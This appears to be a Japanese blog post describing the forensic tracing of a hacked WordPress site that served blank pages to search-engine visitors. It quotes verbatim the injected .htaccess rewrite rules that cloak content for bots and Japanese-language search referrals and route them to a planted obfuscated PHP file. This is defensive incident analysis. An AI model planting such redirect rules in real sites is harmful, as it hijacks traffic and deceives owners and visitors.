ハッキングされたWordpressから難読化されたコードを見つけた件

  • 22
    いいね
  • 0
    コメント

とあるお知り合いからGoogle検索からホームページにアクセスすると、真っ白で何も表示されないというご相談を頂来ました。
調査の結果、ハッキングされたようで謎のコードが埋まっていました、発見するまでの流れを紹介します。

 環境

  • Wordpress バージョン WordPress 4.1.17
  • 一般的なレンタルサーバ
  • ftp接続(ssh/sftpはたぶん使っていない)
  • wpのパスワードはランダムでした(fail2banも搭載済み)

詳細な事象

  • googleの検索結果からサイトにアクセスすると真っ白なページ
    • 私の環境だと再現しないことがある
    • 再現した場合は、レスポンスが空、ステータスは200
  • URL直打ちでアクセスすると表示される
    • どうやら、検索結果から流入したときのみらしい

原因の特定

相談頂いた時間がちょうど深夜で、アクセス数も少なかったためそのまま対応させてもらえることになりました。
(※ちょうどそのときは私の環境でも再現していた)
アクセス元によって挙動が変わるようなので、Wordpressのエントリーポイント

wp/index.php

の先頭に、リファラーを確認できるよう

<!--<?php echo 'Referer is '.$_SERVER['HTTP_REFERER'] ?>-->

と、記載してみた。
正常に動作するようであれば、少なくとも  Referer is XXXXX と表示されるはず・・・
しかし依然として真っ白なページで、ページソース確認でも、確認できませんでした。

wordpressの仕組み上、少なくともwp/index.phpは実行されるはずで、URL直アクセスする場合は
想定通り、Referer is XXXXXと表示されることを確認しました。

上記の結果からおそらく、index.phpを経由していないと仮定し、これより上の処理を確認しました。
この判断がビンゴで、.htaccess内に悪意のあるコードが埋まっていました。

.htaccessの中身

通常のwordpressに存在しない、下記の内容が追加されていました。

RewriteRule ^google(.*)\.html$ /wordpress/wp-admin/network/tpl/wp-og3.php?gg=$1 [L] 
RewriteCond %{HTTP_USER_AGENT} (bot|google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [NC] 
RewriteCond %{REQUEST_FILENAME} !(wp-og3.php|xsl|css|jpg|gif|js)$ [NC] 
RewriteRule ^(.*)$ /wordpress/wp-admin/network/tpl/wp-og3.php [L] 
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing|seznam|Seznam) [NC] 
RewriteCond %{HTTP:Accept-Language} ^ja.*$ [NC] 
RewriteCond %{REQUEST_FILENAME} !(wp-og3.php|xsl|css|jpg|gif|js)$ [NC] 
RewriteRule ^(.*)$ /wordpress/wp-admin/network/tpl/wp-og3.php [L]

通常のwordpress用のhtaccessには記載されない内容です。
処理内容は簡単に下記の通りです。

  • googleなんとかhtmlだった場合の wp-og3.php にリダイレクトする
    • おそらく、googleの GSuiteなどのドメイン認証を詐取するための設定です
    • GSuiteの乗っ取りが行われる・・・?
    • GSuiteの組織を勝手に作られる・・・?
  • 検索サーチBOTからのアクセスの場合、wp-og3.phpにリダイレクトする
  • 検索サイトからのアクセスで、言語が日本語の人は、wp-og3.phpにリダイレクトする
    • 再現しなかった時は、英語設定クライアントだった

また、この内容から、攻撃のエントリーポイントは

/wordpress/wp-admin/network/tpl/wp-og3.php

に存在することが分かりました。ファイルを開いてみると、そこには難読化されたコードが存在していました。
一端、ここまでで攻撃を受けたこと、とりあえず.htaccessを修正すれば、報告された事象は解消することが分かったため
報告を上げ、対応を終了しました。

当日、解読することが出来たので、後日、難読化の仕組みになっているのか別記事を掲載します

あとがき

報告があった、事象については修正し、正常に稼働するようにしたが、おそらく他にもウィルスが埋まっているはずなので
サイトの閉鎖、ウィルスの除去、再構築などを行うべきです。
先方にも、閉鎖推奨と伝えましたが、理解を得られず、現状維持となりました :joy: